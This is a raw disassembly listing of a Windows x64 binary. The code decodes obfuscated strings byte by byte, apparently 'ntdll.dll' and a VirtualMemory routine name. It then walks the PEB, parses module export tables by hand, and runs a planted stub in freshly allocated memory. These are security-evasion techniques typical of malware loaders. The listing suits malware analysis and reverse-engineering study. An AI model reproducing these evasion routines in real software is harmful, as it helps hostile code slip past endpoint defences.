mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x69f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a0], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a1], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a2], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a3], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a4], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a5], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a6], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a7], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6a9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6aa], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6ab], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + 0x6ac], al
xor eax, eax
mov byte [rbp + 0x6ad], al
mov r12d, eax
lea r13d, [rax + 1]
mov r9, rsi
mov r8, r12
mov dl, byte [rbp + r12 + 0x699]
lea rcx, [rbp + 0x698]
call fcn.1400364e8
mov byte [rbp + r12 + 0x699], al
add r12, r13
cmp r12, rsi
jb 0x140028074
mov r13d, reloc.WS2_32.dll_recv
xor r14d, r14d
mov byte [rbp + 0x6ad], r14b
mov byte [rbp + 0x98], 6
lea r15d, [r13 - 7]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x99], al
mov r9d, r15d
lea r15d, [r13 - 0xf]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9a], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9b], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9c], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9d], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9e], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xa]
mov dl, 0x64
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0x9f], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0xa0], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + 0xa1], al
xor eax, eax
mov byte [rbp + 0xa2], al
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x99]
lea rcx, [rbp + 0x98]
call fcn.140035cf8
mov byte [rbp + r14 + 0x99], al
add r14, r15
cmp r14, 9
jb 0x1400281bd
xor r9d, r9d
mov byte [rbp + 0xa2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140028315
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r14, rax
xor eax, eax
mov r8d, eax
movsxd r9, dword [rsp + 0x60]
test r9d, r9d
jle 0x140028292
lea r12d, [rax + 1]
mov r10d, r12d
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rbx + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + r8*2]
mov byte [r14 + r8], al
add r10d, r12d
add r8, r12
cmp r8, r9
jl 0x140028263
mov ebx, reloc.WS2_32.dll_recvfrom
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r9d, edi
movsxd rdi, r9d
movsxd rdx, dword [rsp + 0x78]
add rdx, r14
mov r8, rdi
mov rcx, r14
call fcn.1400bc500
xor r9d, r9d
mov byte [r14 + rdi], r9b
movzx edi, r9b
cmp qword [rsp + 0x68], r9
je 0x1400282e7
mov rax, r14
lea r8, [rbp + 0x99]
sub r8, r14
lea r10d, [r9 + 1]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400282e1
add rax, r10
test ecx, ecx
jne 0x1400282ce
test edx, edx
cmove edi, r10d
mov rcx, r14
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x14002886e
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x60]
jne 0x140028217
mov rdi, qword [rsp + 0x70]
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x500], 0x47
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x501], al
mov r9, rsi
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x502], al
mov r9, rsi
lea r8d, [r15 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x503], al
mov r9, rsi
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x504], al
mov r9, rsi
lea r8d, [r15 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x505], al
mov r9, rsi
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x506], al
mov r9, rsi
lea r8d, [r15 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x507], al
mov r9, rsi
lea r8d, [r15 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x508], al
mov r9, rsi
lea r8d, [r15 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x509], al
mov r9, rsi
lea r8d, [r15 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50a], al
mov r9, rsi
lea r8d, [r15 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50b], al
mov r9, rsi
lea r8d, [r15 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50c], al
mov r9, rsi
lea r8d, [r15 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50d], al
mov r9, rsi
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50e], al
mov r9, rsi
lea r8d, [r15 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x50f], al
mov r9, rsi
lea r8d, [r15 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x510], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x511], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x512], al
mov r9, rsi
lea r8d, [r15 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x513], al
mov r9, rsi
lea r8d, [r15 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + 0x514], al
xor eax, eax
mov byte [rbp + 0x515], al
mov r14d, eax
mov r9, rsi
mov r8, r14
mov dl, byte [rbp + r14 + 0x501]
lea rcx, [rbp + 0x500]
call fcn.1400364e8
mov byte [rbp + r14 + 0x501], al
add r14, r15
cmp r14, rsi
jb 0x140028549
mov r14d, reloc.WS2_32.dll_socket
lea r15d, [r14 + 9]
xor r12d, r12d
mov byte [rbp + 0x515], r12b
mov byte [rbp + 0x88], gethostname
lea esi, [r14 - 0xe]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x89], al
mov r9d, esi
lea esi, [r14 - 0x16]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8a], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x15]
mov dl, 0x64
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8b], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x14]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8c], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x13]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8d], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x12]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8e], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x11]
mov dl, 0x64
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x8f], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x90], al
lea r9d, [r14 - 0xe]
lea r8d, [r14 - 0xf]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + 0x91], al
xor eax, eax
mov byte [rbp + 0x92], al
mov r9d, 9
mov r8, r12
mov dl, byte [rbp + r12 + 0x89]
lea rcx, [rbp + 0x88]
call fcn.140035cf8
mov byte [rbp + r12 + 0x89], al
add r12, rsi
cmp r12, 9
jb 0x140028696
mov esi, reloc.WS2_32.dll_sendto
xor r10d, r10d
mov byte [rbp + 0x92], r10b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140028801
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002877a
lea r12d, [rcx + 1]
mov r11d, r12d
mov rdx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r13 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + r8*2]
mov byte [r9 + r8], al
add r11d, r12d
add r8, r12
cmp r8, r10
jl 0x140028745
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400287d6
mov rax, rcx
lea r9, [rbp + 0x89]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400287cf
add rax, r11
test edx, edx
jne 0x1400287ba
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r10d, r10d
test dil, dil
jne 0x140028ab1
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400286f5
mov rdi, qword [rsp + 0x70]
mov eax, r10d
cmp dword [rbp - 0x68], r10d
jl 0x14002e00d
test eax, eax
js 0x14002e00d
mov r9, qword [rbp + 0xbd8]
cmp qword [r9], r10
jge 0x140028cfb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x60], rax
xor ecx, ecx
test rax, rax
je 0x14002b0af
mov rcx, qword [rbp + 0xbd8]
movzx edx, word [rcx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xeb0]
sub rcx, qword [rbp - 0x60]
add rax, rcx
mov rcx, qword [rbp + 0xbd8]
mov qword [rcx], rax
jmp 0x14002b0ad
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140028310
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028310
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028310
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028310
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r14d, dword [rax + 0x24]
add r14, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140028310
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x699]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400288fc
inc rax
test edi, edi
jne 0x1400288e7
xor r9d, r9d
test r8d, r8d
je 0x140028912
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x1400288d6
jmp 0x140028310
movzx eax, word [r14 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140028310
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140028310
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.140094c90
or dword [rbp + 0x19734], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x183b0]
call fcn.140036bc4
lea rcx, [rbp + 0x183b0]
call fcn.1400365dc
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r13d, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x183b0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + r13*8 + 0x32490], rax
add r13, r15
cmp r13, 0x200
jl 0x1400289af
mov r15d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r15 - 0x10]
mov r8d, 0x1000
lea rdx, [rbp + 0x32490]
mov rcx, r14
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, r14
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe34], eax
lea r9, [rbp + 0xe34]
mov r8d, r15d
mov edx, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x40490]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe34]
mov r8d, dword [rbp + 0xe34]
mov edi, 0x1000
mov edx, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, edi
xor edx, edx
mov rcx, r14
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov rdi, qword [rsp + 0x70]
jmp 0x140028319
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400287fc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028b43
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028b43
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028b43
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140028b43
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x501]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140028b33
inc rax
test edi, edi
jne 0x140028b1e
xor edi, edi
test r8d, r8d
je 0x140028b52
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140028b0d
mov eax, edi
mov rdi, qword [rsp + 0x70]
xor r10d, r10d
jmp 0x140028804
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140028b43
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140028b43
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x1aac4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x19740]
call fcn.140036bc4
lea rcx, [rbp + 0x19740]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x19740]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x33490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x140028bee
mov r15d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x33490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe30], eax
lea r9, [rbp + 0xe30]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x40490]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe30]
mov r8d, dword [rbp + 0xe30]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r10d, r10d
mov dword [0x1400e8364], r10d
mov rdi, qword [rsp + 0x70]
mov eax, dword [rsp + 0x60]
jmp 0x140028804
mov rcx, qword [rbp - 8]
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x140028d32
mov ecx, dword [rdx + 0xc]
cmp qword [r9], rcx
jb 0x140028d2e
mov eax, dword [rdx + 8]
add eax, ecx
cmp qword [r9], rax
jb 0x140029b32
add rdx, 0x28
cmp rdx, r8
jb 0x140028d18
mov rdx, r10
add rdx, 2
lea rcx, [rbp + 0xf60]
call fcn.140036a08
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0x28206], rax
mov rax, qword [rbp + 0xeb0]
mov qword [rbp + 0x28210], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2821a], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x28226], rax
mov rax, qword [rbp + 0xf70]
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0xf60]
call fcn.140036764
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x518], r15b
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x519], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x51f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x520], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x521], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x522], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x523], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x524], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x525], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x526], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x527], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x528], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x529], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x52a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x52b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + 0x52c], al
xor eax, eax
mov byte [rbp + 0x52d], al
mov r14d, eax
lea r13d, [rax + 1]
mov r9, rsi
mov r8, r14
mov dl, byte [rbp + r14 + 0x519]
lea rcx, [rbp + 0x518]
call fcn.1400364e8
mov byte [rbp + r14 + 0x519], al
add r14, r13
cmp r14, rsi
jb 0x140028fee
mov r13d, reloc.WS2_32.dll_recv
xor r12d, r12d
mov byte [rbp + 0x52d], r12b
mov byte [rbp + 0x78], 0x6a
lea r15d, [r13 - 7]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x79], al
mov r9d, r15d
lea r15d, [r13 - 0xf]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7a], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7b], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7c], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7d], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7e], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 0xa]
mov dl, 0x64
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x7f], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x80], al
lea r9d, [r13 - 7]
lea r8d, [r13 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + 0x81], al
xor eax, eax
mov byte [rbp + 0x82], al
mov r9d, 9
mov r8, r12
mov dl, byte [rbp + r12 + 0x79]
lea rcx, [rbp + 0x78]
call fcn.140035cf8
mov byte [rbp + r12 + 0x79], al
add r12, r15
cmp r12, 9
jb 0x140029104
mov r15d, reloc.WLDAP32.dll_Ordinal_32
xor r9d, r9d
mov byte [rbp + 0x82], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140029261
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
